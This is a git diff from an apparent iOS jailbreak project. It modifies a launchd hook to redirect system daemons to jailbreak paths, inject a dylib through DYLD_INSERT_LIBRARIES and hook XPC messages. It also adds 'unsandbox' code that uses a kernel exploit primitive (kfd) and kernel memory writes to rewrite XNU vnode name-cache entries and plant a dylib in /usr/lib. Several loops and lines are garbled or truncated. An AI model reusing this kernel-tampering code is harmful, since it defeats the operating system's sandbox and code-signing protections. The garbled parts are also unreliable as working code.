- const char *coolerXpcProxyPath = jbroot("/usr/libexec/xpcproxy");
- if (!strncmp(path, springboardPath, strlen(springboardPath))) {
-// FILE *file = fopen("/var/mobile/launchd.log", "a");
-// char output[512];
-// sprintf(output, "[launchd] changing path %s to %s\n", path, coolerSpringboard);
-// fputs(output, file);
- path = coolerSpringboard;
-// fclose(file);
+ if (!strncmp(path, SPRINGBOARD_PATH, strlen(SPRINGBOARD_PATH))) {
+ // log_path(path, jbroot(SPRINGBOARD_PATH));
+ path = jbroot(SPRINGBOARD_PATH);
argv[0] = (char *)path;
posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
- } else if (!strncmp(path, mruiPath, strlen(mruiPath))) {
- // FILE *file = fopen("/var/mobile/launchd.log", "a");
- // char output[512];
- // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui);
- // fputs(output, file);
- path = coolerMrui;
- // fclose(file);
+ } else if (!strncmp(path, MRUI_PATH, strlen(MRUI_PATH))) {
+ // log_path(path, jbroot(MRUI_PATH));
+ path = jbroot(MRUI_PATH);
argv[0] = (char *)path;
posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
- return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
- } else if (!strncmp(path, xpcproxyPath, strlen(xpcproxyPath))) {
- // FILE *file = fopen("/var/mobile/launchd.log", "a");
- // char output[512];
- // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui);
- // fputs(output, file);
- path = coolerXpcProxyPath;
- // fclose(file);
+ } else if (!strncmp(path, XPCPROXY_PATH, strlen(XPCPROXY_PATH))) {
+ // path = jbroot(XPCPROXY_PATH);
argv[0] = (char *)path;
posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
- return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
}
+// } else if (!strncmp(path, MEDIASERVERD_PATH, strlen(MEDIASERVERD_PATH))) {
+// log_path(path, jbroot(MEDIASERVERD_PATH));
+// path = jbroot(MEDIASERVERD_PATH);
+// argv[0] = (char *)path;
+// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
+// }
+ // } else if (!strncmp(path, installd, strlen(installd))) {
+ // FILE *file = fopen("/var/mobile/launchd.log", "a");
+ // char output[512];
+ // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui);
+ // fputs(output, file);
+ // path = jbroot(installd);
+ // fclose(file);
+ // argv[0] = (char *)path;
+ // posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
+ //// return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
+ // } else if (!strncmp(path, nfcd, strlen(nfcd))) {
+ // FILE *file = fopen("/var/mobile/launchd.log", "a");
+ // char output[512];
+ // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui);
+ // fputs(output, file);
+ // path = jbroot(nfcd);
+ // fclose(file);
+ // argv[0] = (char *)path;
+ // posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
+ //// return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
return orig_posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
}
@@ -139,10 +214,10 @@ xpc_object_t hook_xpc_dictionary_get_value(xpc_object_t dict, const char *key) {
if (strcmp(key, "Paths") == 0) {
const char *paths[] = {
- "/var/jb/Library/LaunchDaemons",
- "/var/jb/System/Library/LaunchDaemons",
- "/var/jb/Library/LaunchAgents",
- "/var/jb/System/Library/LaunchAgents"
+ jbroot("/Library/LaunchDaemons"),
+ jbroot("/System/Library/LaunchDaemons"),
+ jbroot("/Library/LaunchAgents"),
+ jbroot("/System/Library/LaunchAgents"),
};
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); ++i) {
@@ -164,38 +239,35 @@ int memorystatus_control_hook(uint32_t command, int32_t pid, uint32_t flags, voi
void initVerboseFramebuffer(void);
int bootscreend_main();
__attribute__((constructor)) static void init(int argc, char **argv) {
-// FILE *file;
-// file = fopen("/var/mobile/launchd.log", "w");
-// char output[1024];
-// sprintf(output, "[launchd] launchdhook pid %d", getpid());
-// printf("[launchd] launchdhook pid %d", getpid());
-// fputs(output, file);
-// fclose(file);
-// sync();
-
- bool verboseBoot = false;
- NSString *verboseBootPath = @"/var/mobile/.serotonin_verbose";
-
- if ([NSFileManager.defaultManager fileExistsAtPath:verboseBootPath]) {
- verboseBoot = true;
+ crashreporter_start();
+ // initVerboseFramebuffer();
+ if(gSystemInfo.jailbreakInfo.rootPath) free(gSystemInfo.jailbreakInfo.rootPath);
+
+ NSString* jbroot_path = find_jbroot();
+ if(jbroot_path) {
+ gSystemInfo.jailbreakInfo.rootPath = strdup(jbroot_path.fileSystemRepresentation);
+ gSystemInfo.jailbreakInfo.jbrand = jbrand();
}
+ initXPCHooks();
+ setenv("DYLD_INSERT_LIBRARIES", jbroot("/launchdhook.dylib"), 1);
+ setenv("SEROTONIN_INITIALIZED", "1", 1);
+ // Set an identifier that uniquely identifies this userspace boot
+ // Part of rootless v2 spec
+ setenv("LAUNCHD_UUID", [NSUUID UUID].UUIDString.UTF8String, 1);
- if (verboseBoot) {
- initVerboseFramebuffer();
- } else {
- bootscreend_main();
- }
-// initVerboseFramebuffer();
-// bootscreend_main();
+ // bool verboseBoot = false;
+ // NSString *verboseBootPath = @"/var/mobile/.serotonin_verbose";
-// printf("[launchd] launchdhook pid %d", getpid());
-// if (getpid() == 1) {
-// printf("============\n");
-// printf("== WE ARE ==\n");
-// printf("== PID1 ==\n");
-// printf("============\n\n");
-// printf("Also, my parent is %d\n", getppid());
-// }
+ // if ([NSFileManager.defaultManager fileExistsAtPath:verboseBootPath]) {
+ // verboseBoot = true;
+ // }
+
+ // if (verboseBoot) {
+ // initVerboseFramebuffer();
+ // } else {
+ // bootscreend_main();
+ // }
+// bootscreend_main();
struct rebinding rebindings[] = (struct rebinding[]){
{"csops", hooked_csops, (void *)&orig_csops},
{"csops_audittoken", hooked_csops_audittoken, (void *)&orig_csops_audittoken},
@@ -205,4 +277,42 @@ int memorystatus_control_hook(uint32_t command, int32_t pid, uint32_t flags, voi
{"memorystatus_control", memorystatus_control_hook, (void *)&memorystatus_control_orig},
};
rebind_symbols(rebindings, sizeof(rebindings)/sizeof(struct rebinding));
+ bool firstLoad = false;
+ if (getenv("SEROTONIN_INITIALIZED") != 0) {
+ // If Dopamine was initialized before, we assume we're coming from a userspace reboot
+
+ // Stock bug: These prefs wipe themselves after a reboot (they contain a boot time and this is matched when they're loaded)
+ // But on userspace reboots, they apparently do not get wiped as boot time doesn't change
+ // We could try to change the boot time ourselves, but I'm worried of potential side effects
+ // So we just wipe the offending preferences ourselves
+ // In practice this fixes nano launch daemons not being loaded after the userspace reboot, resulting in certain apple watch features breaking
+ if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist", W_OK)) {
+ remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist");
+ }
+ if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist", W_OK)) {
+ remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist");
+ }
+ }
+ else {
+ // first userspace reboot, not on the fly injection
+ firstLoad = true;
+ }
+ FILE *file = fopen("/var/mobile/launchd.log", "a");
+ char output[256];
+ sprintf(output, "[launchd] gambling with kfd\n");
+ fputs(output, file);
+ fclose(file);
+ sleep(10);
+ do_kopen(2048, 2, 1, 1, 500, true);
+ if(!firstLoad)
+ {
+ NSString* systemhookFilePath = [NSString stringWithFormat:@"%@/generalhooksigned.dylib", jbroot("/")];
+
+ int unsandbox(const char* dir, const char* file);
+ unsandbox("/usr/lib", systemhookFilePath.fileSystemRepresentation);
+
+ //new "real path"
+ snprintf(HOOK_DYLIB_PATH, sizeof(HOOK_DYLIB_PATH), "/usr/lib/generalhooksigned.dylib");
+ }
+ do_kclose();
}
diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox.h b/RootHelperSample/launchdshim/launchdhook/unsandbox.h
new file mode 100644
index 00000000..54b8cb2d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/unsandbox.h
@@ -0,0 +1,106 @@
+
+
+#define XNU_PTRAUTH_SIGNED_PTR(x)
+
+typedef struct {
+ union {
+ uint64_t lck_mtx_data;
+ uint64_t lck_mtx_tag;
+ };
+ union {
+ struct {
+ uint16_t lck_mtx_waiters;
+ uint8_t lck_mtx_pri;
+ uint8_t lck_mtx_type;
+ };
+ struct {
+ struct _lck_mtx_ext_ *lck_mtx_ptr;
+ };
+ };
+} lck_mtx_t;
+
+LIST_HEAD(buflists, buf);
+typedef struct vnode* vnode_t;
+typedef uint32_t kauth_action_t;
+typedef struct vnode_resolve* vnode_resolve_t;
+struct vnode {
+ lck_mtx_t v_lock; /* vnode mutex */
+ TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
+ TAILQ_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */
+ TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */
+ LIST_HEAD(, namecache) v_nclinks; /* name cache entries that name this vnode */
+ vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */
+ uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */
+ uint32_t v_flag; /* vnode flags (see below) */
+ uint16_t v_lflag; /* vnode local and named ref flags */
+ uint8_t v_iterblkflags; /* buf iterator flags */
+ uint8_t v_references; /* number of times io_count has been granted */
+ int32_t v_kusecount; /* count of in-kernel refs */
+ int32_t v_usecount; /* reference count of users */
+ int32_t v_iocount; /* iocounters */
+ void * XNU_PTRAUTH_SIGNED_PTR("vnode.v_owner") v_owner; /* act that owns the vnode */
+ uint16_t v_type; /* vnode type */
+ uint16_t v_tag; /* type of underlying data */
+ uint32_t v_id; /* identity of vnode contents */
+ union {
+ struct mount * XNU_PTRAUTH_SIGNED_PTR("vnode.v_data") vu_mountedhere; /* ptr to mounted vfs (VDIR) */
+ struct socket * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_socket") vu_socket; /* unix ipc (VSOCK) */
+ struct specinfo * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_specinfo") vu_specinfo; /* device (VCHR, VBLK) */
+ struct fifoinfo * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_fifoinfo") vu_fifoinfo; /* fifo (VFIFO) */
+ struct ubc_info * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_ubcinfo") vu_ubcinfo; /* valid for (VREG) */
+ } v_un;
+ struct buflists v_cleanblkhd; /* clean blocklist head */
+ struct buflists v_dirtyblkhd; /* dirty blocklist head */
+ struct klist v_knotes; /* knotes attached to this vnode */
+ /*
+ * the following 4 fields are protected
+ * by the name_cache_lock held in
+ * excluive mode
+ */
+ kauth_cred_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_cred") v_cred; /* last authorized credential */
+ kauth_action_t v_authorized_actions; /* current authorized actions for v_cred */
+ int v_cred_timestamp; /* determine if entry is stale for MNTK_AUTH_OPAQUE */
+ int v_nc_generation; /* changes when nodes are removed from the name cache */
+ /*
+ * back to the vnode lock for protection
+ */
+ int32_t v_numoutput; /* num of writes in progress */
+ int32_t v_writecount; /* reference count of writers */
+ uint32_t v_holdcount; /* reference to keep vnode from being freed after reclaim */
+ const char *v_name; /* name component of the vnode */
+ vnode_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_parent") v_parent; /* pointer to parent vnode */
+ struct lockf *v_lockf; /* advisory lock list head */
+ int(**v_op)(void *); /* vnode operations vector */
+ mount_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_mount") v_mount; /* ptr to vfs we are in */
+ void * v_data; /* private data for fs */
+//#if CONFIG_MACF
+ struct label *v_label; /* MAC security label */
+//#endif
+//#if CONFIG_TRIGGERS
+ vnode_resolve_t v_resolve; /* trigger vnode resolve info (VDIR only) */
+//#endif /* CONFIG_TRIGGERS */
+#if CONFIG_FIRMLINKS
+ vnode_t v_fmlink; /* firmlink if set (VDIR only), Points to source
+ * if VFLINKTARGET is set, if VFLINKTARGET is not
+ * set, points to target */
+#endif /* CONFIG_FIRMLINKS */
+#if CONFIG_IO_COMPRESSION_STATS
+ io_compression_stats_t io_compression_stats; /* IO compression statistics */
+#endif /* CONFIG_IO_COMPRESSION_STATS */
+
+#if CONFIG_IOCOUNT_TRACE
+ vnode_iocount_trace_t v_iocount_trace;
+#endif /* CONFIG_IOCOUNT_TRACE */
+
+ uint64_t unknown;
+};
+
+int unsandbox1(const char* dir, const char* file);
+int unsandbox2(const char* dir, const char* file);
+
+void init_crc32(void);
+unsigned int hash_string(const char *cp, int len);
+
+uint64_t proc_fd_file_glob(uint64_t proc_ptr, int fd);
+uint64_t proc_fd_vnode(uint64_t proc_ptr, int fd);
+
diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox.m b/RootHelperSample/launchdshim/launchdhook/unsandbox.m
new file mode 100644
index 00000000..2822c72c
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/unsandbox.m
@@ -0,0 +1,102 @@
+#pragma clang diagnostic push
+#pragma ide diagnostic ignored "bugprone-reserved-identifier"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#import
+// #import "libjailbreak.h"
+#import "jbserver/kernel.h"
+// #import "jbserver/primitives.h"
+#import "fun/krw.h"
+#import "unsandbox.h"
+#import "jbserver/util.h"
+// #import "log.h"
+
+uint64_t proc_fd_file_glob(uint64_t proc_ptr, int fd)
+{
+ uint64_t proc_fd = proc_ptr + koffsetof(proc, fd);
+ uint64_t ofiles_start = kread_ptr(proc_fd + koffsetof(filedesc, ofiles_start));
+ if (!ofiles_start) return 0;
+ uint64_t file_proc_ptr = kread_ptr(ofiles_start + (fd * 8));
+ if (!file_proc_ptr) return 0;
+ return kread_ptr(file_proc_ptr + koffsetof(fileproc, fileglob));
+}
+
+uint64_t proc_fd_vnode(uint64_t proc_ptr, int fd)
+{
+ uint64_t file_glob_ptr = proc_fd_file_glob(proc_ptr, fd);
+ if (!file_glob_ptr) return 0;
+ return kread_ptr(file_glob_ptr + koffsetof(fileglob, vnode));
+}
+
+
+static unsigned int crc32tab[256];
+
+void init_crc32(void)
+{
+ /*
+ * the CRC-32 generator polynomial is:
+ * x^32 + x^26 + x^23 + x^22 + x^16 + x^12 + x^10
+ * + x^8 + x^7 + x^5 + x^4 + x^2 + x + 1
+ */
+ unsigned int crc32_polynomial = 0x04c11db7;
+ unsigned int i, j;
+
+ /*
+ * pre-calculate the CRC-32 remainder for each possible octet encoding
+ */
+ for (i = 0; i < 256; i++) {
+ unsigned int crc_rem = i << 24;
+
+ for (j = 0; j < 8; j++) {
+ if (crc_rem & 0x80000000) {
+ crc_rem = (crc_rem << 1) ^ crc32_polynomial;
+ } else {
+ crc_rem = (crc_rem << 1);
+ }
+ }
+ crc32tab[i] = crc_rem;
+ }
+}
+
+unsigned int hash_string(const char *cp, int len)
+{
+ unsigned hash = 0;
+
+ if (len) {
+ while (len--) {
+ hash = crc32tab[((hash >> 24) ^ (unsigned char)*cp++)] ^ hash << 8;
+ }
+ } else {
+ while (*cp != '\0') {
+ hash = crc32tab[((hash >> 24) ^ (unsigned char)*cp++)] ^ hash << 8;
+ }
+ }
+ /*
+ * the crc generator can legitimately generate
+ * a 0... however, 0 for us means that we
+ * haven't computed a hash, so use 1 instead
+ */
+ if (hash == 0) {
+ hash = 1;
+ }
+ return hash;
+}
+
+int unsandbox(const char* dir, const char* file)
+{
+ if (@available(iOS 16.4, *)) {
+ return unsandbox2(dir, file);
+ } else {
+ return unsandbox1(dir, file);
+ }
+}
+
+#pragma clang diagnostic pop
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox1.m b/RootHelperSample/launchdshim/launchdhook/unsandbox1.m
new file mode 100644
index 00000000..6088563d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/unsandbox1.m
@@ -0,0 +1,234 @@
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#import
+// #import "libjailbreak.h"
+#import "unsandbox.h"
+#import "jbserver/kernel.h"
+// #import "jbserver/primitives.h"
+#import "fun/krw.h"
+#import "jbserver/log.h"
+#import "jbserver/util.h"
+
+
+struct namecache_v1 {
+ TAILQ_ENTRY(namecache_v1) nc_entry; /* chain of all entries */
+ TAILQ_ENTRY(namecache_v1) nc_child; /* chain of ncp's that are children of a vp */
+ union {
+ LIST_ENTRY(namecache_v1) nc_link; /* chain of ncp's that 'name' a vp */
+ TAILQ_ENTRY(namecache_v1) nc_negentry; /* chain of ncp's that 'name' a vp */
+ } nc_un;
+ LIST_ENTRY(namecache_v1) nc_hash; /* hash chain */
+ vnode_t nc_dvp; /* vnode of parent of name */
+ vnode_t nc_vp; /* vnode the name refers to */
+ unsigned int nc_hashval; /* hashval of stringname */
+ const char *nc_name; /* pointer to segment name in string cache */
+};
+
+#define namecache namecache_v1
+
+static void print_nc(uint64_t ncp)
+{
+ while(ncp) {
+
+ struct namecache nc={0};
+ kreadbuf(ncp, &nc, sizeof(nc));
+
+ char namebuf[128]={0};
+ for(int i=0; i%llx\n",
+ filefd, filevp,filevnode.v_usecount, filevnode.v_id, filevnode.v_parent, parentvnode.v_usecount, dirvp, dirvnode.v_id, dirvnode.v_ncchildren.tqh_first, dirvnode.v_ncchildren.tqh_last,
+ dirvnode.v_ncchildren.tqh_last?kread64((uint64_t)dirvnode.v_ncchildren.tqh_last):0);
+
+ // char parentname[32]={0};
+ // kreadbuf((uint64_t)parentvnode.v_name, parentname, sizeof(parentname));
+ // JBLogDebug("parentname=%s\n", parentname);
+
+
+ struct namecache filenc={0};
+ uint64_t filencp = (uint64_t)filevnode.v_nclinks.lh_first;
+ kreadbuf(filencp, &filenc, sizeof(filenc));
+ JBLogDebug("filenc=%llx vp=%llx dvp=%llx\n", filencp, filenc.nc_vp, filenc.nc_dvp);
+
+{
+ uint64_t ncp=(uint64_t)dirvnode.v_ncchildren.tqh_first;
+ while(ncp) {
+
+ struct namecache nc={0};
+ kreadbuf(ncp, &nc, sizeof(nc));
+
+ char namebuf[128]={0};
+ for(int i=0; ifield.le_prev =(elm)->field.le_prev;
+ kwrite64((uint64_t)filenc.nc_hash.le_next+offsetof(struct namecache, nc_hash.le_prev), (uint64_t)filenc.nc_hash.le_prev); //next->prev = prev
+ }
+
+ //*(elm)->field.le_prev = LIST_NEXT((elm), field);
+ kwrite64((uint64_t)filenc.nc_hash.le_prev, (uint64_t)filenc.nc_hash.le_next);
+ }
+ //LIST_INSERT_HEAD(ncpp, ncp, nc_hash):
+ {
+ uint64_t ncp = filencp;
+
+ uint64_t first = kread64(ncpp);
+ kwrite64(ncp+offsetof(struct namecache, nc_hash.le_next), first);
+ if(first) { //if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL)
+ //LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);
+ kwrite64(first+offsetof(struct namecache, nc_hash.le_prev), ncp+offsetof(struct namecache, nc_hash.le_next) );
+ }
+ kwrite64(ncpp, ncp); //LIST_FIRST((head)) = (elm);
+ kwrite64(ncp+offsetof(struct namecache, nc_hash.le_prev), ncpp); //(elm)->field.le_prev = &LIST_FIRST((head));
+ }
+
+ //TAILQ_REMOVE(&(ncp->nc_dvp->v_ncchildren), ncp, nc_child);
+ {
+ uint64_t ncp = filencp;
+ if(filenc.nc_child.tqe_next) { //always true for filenc next time
+ //TAILQ_NEXT((elm), field)->field.tqe_prev = (elm)->field.tqe_prev;
+ kwrite64((uint64_t)filenc.nc_child.tqe_next+offsetof(struct namecache, nc_child.tqe_prev), (uint64_t)filenc.nc_child.tqe_prev);
+ } else {
+ //(head)->tqh_last = (elm)->field.tqe_prev;
+ kwrite64(parentvp+offsetof(struct vnode,v_ncchildren.tqh_last), (uint64_t)filenc.nc_child.tqe_prev);
+ }
+ //*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field);
+ kwrite64((uint64_t)filenc.nc_child.tqe_prev, (uint64_t)filenc.nc_child.tqe_next);
+
+ kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_next), filencp); //TAILQ_CHECK_NEXT
+ kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_prev), filencp+offsetof(struct namecache,nc_child.tqe_next)); //TAILQ_CHECK_PREV
+ }
+
+ JBLogDebug("final hash chain\n");
+ print_nc(kread64(ncpp));
+
+
+ JBLogDebug("unsandboxed %llx %llx %s %s\n\n", filevp, dirvp, file, dir);
+
+ ret = 0;
+ goto success;
+
+failed:
+ ret = -1;
+
+success:
+ if(dirfd>=0) close(dirfd);
+ if(filefd>=0) close(filefd);
+
+ //update v_parent
+ char newfile[PATH_MAX]={0};
+ snprintf(newfile,sizeof(newfile),"%s/%s",dir,basename_r(file, fname));
+ JBLogDebug("newfile=%s\n", newfile);
+
+ int newfd = open(newfile, O_RDONLY);
+ assert(newfd >= 0);
+
+ char pathbuf[PATH_MAX]={0};
+ int ret1=fcntl(newfd, F_GETPATH, pathbuf);
+ JBLogDebug("realpath=(%d) %s\n", ret1, pathbuf);
+
+ close(newfd);
+
+ return ret;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox2.m b/RootHelperSample/launchdshim/launchdhook/unsandbox2.m
new file mode 100644
index 00000000..60ae6c93
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/unsandbox2.m
@@ -0,0 +1,270 @@
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#import
+// #import "libjailbreak.h"
+#import "unsandbox.h"
+#import "jbserver/log.h"
+#import "jbserver/kernel.h"
+// #import "jbserver/primitives.h"
+#import "fun/krw.h"
+#import "jbserver/util.h"
+
+// ==================== iOS 16.4 xnu-8796 use smrq_link ====================
+
+#define SMR_POINTER_DECL(name, type_t) \
+ struct name { type_t volatile __smr_ptr; }
+
+#define SMR_POINTER(type_t) \
+ SMR_POINTER_DECL(, type_t)
+
+typedef SMR_POINTER(struct smrq_link *) __smrq_link_t;
+
+struct smrq_link {
+ struct smrq_link * le_next;
+ struct smrq_link * *le_prev;
+};
+
+
+struct namecache_v2 {
+ TAILQ_ENTRY(namecache_v2) nc_entry; /* chain of all entries */
+ TAILQ_ENTRY(namecache_v2) nc_child; /* chain of ncp's that are children of a vp */
+ union {
+ LIST_ENTRY(namecache_v2) nc_link; /* chain of ncp's that 'name' a vp */
+ TAILQ_ENTRY(namecache_v2) nc_negentry; /* chain of ncp's that 'name' a vp */
+ } nc_un;
+ struct smrq_link nc_hash; /* hash chain */
+ uint32_t nc_vid; /* vid for nc_vp */
+ uint32_t nc_counter; /* flags */
+ vnode_t nc_dvp; /* vnode of parent of name */
+ vnode_t nc_vp; /* vnode the name refers to */
+ unsigned int nc_hashval; /* hashval of stringname */
+ const char *nc_name; /* pointer to segment name in string cache */
+};
+
+#define namecache namecache_v2
+
+static void print_nc(uint64_t ncp)
+{
+ while(ncp) {
+
+ struct namecache nc={0};
+ kreadbuf(ncp, &nc, sizeof(nc));
+
+ char namebuf[128]={0};
+ for(int i=0; i%llx\n",
+ filefd, filevp,filevnode.v_usecount, filevnode.v_id, filevnode.v_parent, parentvnode.v_usecount, dirvp, dirvnode.v_id, dirvnode.v_ncchildren.tqh_first, dirvnode.v_ncchildren.tqh_last,
+ dirvnode.v_ncchildren.tqh_last?kread64((uint64_t)dirvnode.v_ncchildren.tqh_last):0);
+
+ // char parentname[32]={0};
+ // kreadbuf((uint64_t)parentvnode.v_name, parentname, sizeof(parentname));
+ // JBLogDebug("parentname=%s\n", parentname);
+
+
+ struct namecache filenc={0};
+ uint64_t filencp = (uint64_t)filevnode.v_nclinks.lh_first;
+ kreadbuf(filencp, &filenc, sizeof(filenc));
+ JBLogDebug("filenc=%llx vp=%llx dvp=%llx\n", filencp, filenc.nc_vp, filenc.nc_dvp);
+
+{
+ uint64_t ncp=(uint64_t)dirvnode.v_ncchildren.tqh_first;
+ while(ncp) {
+
+ struct namecache nc={0};
+ kreadbuf(ncp, &nc, sizeof(nc));
+
+ char namebuf[128]={0};
+ for(int i=0; iprev = prev; in __smrq_serialized_remove_one(__smrq_link_t*
+ kwrite64((uint64_t)filenc.nc_hash.le_next+offsetof(struct smrq_link, le_prev), (uint64_t)filenc.nc_hash.le_prev); //next->prev = prev
+ }
+
+ //smr_serialized_store_relaxed(prev, next);
+ kwrite64((uint64_t)filenc.nc_hash.le_prev, (uint64_t)filenc.nc_hash.le_next);
+ }
+ //smrq_serialized_insert_head(ncpp, /*__smrq_link_t*/ncp->nc_hash):
+ {
+ uint64_t ncp = filencp;
+
+ uint64_t first = kread64(ncpp);
+ kwrite64(ncp+offsetof(struct namecache, nc_hash.le_next), first); //smr_serialized_store_relaxed(&elem->next, next);
+ if(first) { //if (next != NULL)
+ //next->prev = &elem->next;
+ kwrite64(first+offsetof(struct smrq_link, le_prev), ncp+offsetof(struct namecache, nc_hash.le_next) );
+ }
+ kwrite64(ncpp, ncp+offsetof(struct namecache, nc_hash)); //smr_serialized_store(prev, elem);
+ kwrite64(ncp+offsetof(struct namecache, nc_hash.le_prev), ncpp); //elem->prev = prev;
+ }
+
+ //TAILQ_REMOVE(&(ncp->nc_dvp->v_ncchildren), ncp, nc_child);
+ {
+ uint64_t ncp = filencp;
+ if(filenc.nc_child.tqe_next) { //always true for filenc next time
+ //TAILQ_NEXT((elm), field)->field.tqe_prev = (elm)->field.tqe_prev;
+ kwrite64((uint64_t)filenc.nc_child.tqe_next+offsetof(struct namecache, nc_child.tqe_prev), (uint64_t)filenc.nc_child.tqe_prev);
+ } else {
+ //(head)->tqh_last = (elm)->field.tqe_prev;
+ kwrite64(parentvp+offsetof(struct vnode,v_ncchildren.tqh_last), (uint64_t)filenc.nc_child.tqe_prev);
+ }
+ //*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field);
+ kwrite64((uint64_t)filenc.nc_child.tqe_prev, (uint64_t)filenc.nc_child.tqe_next);
+
+ kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_next), filencp); //TAILQ_CHECK_NEXT
+ kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_prev), filencp+offsetof(struct namecache,nc_child.tqe_next)); //TAILQ_CHECK_PREV
+ }
+
+ JBLogDebug("final hash chain\n");
+ print_nc2(kread64(ncpp));
+
+
+ JBLogDebug("unsandboxed %llx %llx %s %s\n\n", filevp, dirvp, file, dir);
+
+ ret = 0;
+ goto success;
+
+failed:
+ ret = -1;
+
+success:
+ if(dirfd>=0) close(dirfd);
+ if(filefd>=0) close(filefd);
+
+ //update v_parent
+ char newfile[PATH_MAX]={0};
+ snprintf(newfile,sizeof(newfile),"%s/%s",dir,basename_r(file, fname));
+ JBLogDebug("newfile=%s\n", newfile);
+
+ int newfd = open(newfile, O_RDONLY);
+ assert(newfd >= 0);
+
+ char pathbuf[PATH_MAX]={0};
+ int ret1=fcntl(newfd, F_GETPATH, pathbuf);
+ JBLogDebug("realpath=(%d) %s\n", ret1, pathbuf);
+
+ return ret;
+}
+
diff --git a/RootHelperSample/launchdshim/launchdhook/xpc_hook.c b/RootHelperSample/launchdshim/launchdhook/xpc_hook.c
new file mode 100644
index 00000000..3e751d91
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/xpc_hook.c
@@ -0,0 +1,52 @@
+// #include
+#include
+#include
+#include "jbserver/bsm/libbsm.h"
+#include "jbserver/libproc.h"
+#include
+// #include
+#include "fishhook.h"
+#include "jbserver/jbserver.h"
+
+/*#undef JBLogDebug
+void JBLogDebug(const char *format, ...)
+{
+ va_list va;
+ va_start(va, format);
+
+ FILE *launchdLog = fopen("/var/mobile/launchd-xpc.log", "a");
+ vfprintf(launchdLog, format, va);
+ fprintf(launchdLog, "\n");
+ fclose(launchdLog);
+
+ va_end(va);
+}*/
+
+int xpc_receive_mach_msg(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut);
+int (*xpc_receive_mach_msg_orig)(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut);
+int xpc_receive_mach_msg_hook(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut)
+{
+ int r = xpc_receive_mach_msg_orig(a1, a2, a3, a4, xOut);
+ if (r == 0) {
+ if (jbserver_received_xpc_message(&gGlobalServer, *xOut) == 0) {
+ // Returning non null here makes launchd disregard this message
+ // For jailbreak messages we have the logic to handle them
+ xpc_release(*xOut);
+ return 22;
+ }
+ }
+ return r;
+}
+
+void initXPCHooks(void)
+{
+ // MSHookFunction(xpc_receive_mach_msg, (void *)xpc_receive_mach_msg_hook, (void **)&xpc_receive_mach_msg_orig);
+ struct rebinding xpc_rebinding = {
+ "xpc_receive_mach_msg",
+ (void *)xpc_receive_mach_msg_hook,
+ (void **)&xpc_receive_mach_msg_orig
+ };
+
+ struct rebinding rebindings[] = {xpc_rebinding};
+ rebind_symbols(rebindings, 1);
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/xpc_hook.h b/RootHelperSample/launchdshim/launchdhook/xpc_hook.h
new file mode 100644
index 00000000..fad4fae7
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/xpc_hook.h
@@ -0,0 +1 @@
+void initXPCHooks(void);
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m b/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m
index d9860d79..525d6b01 100644
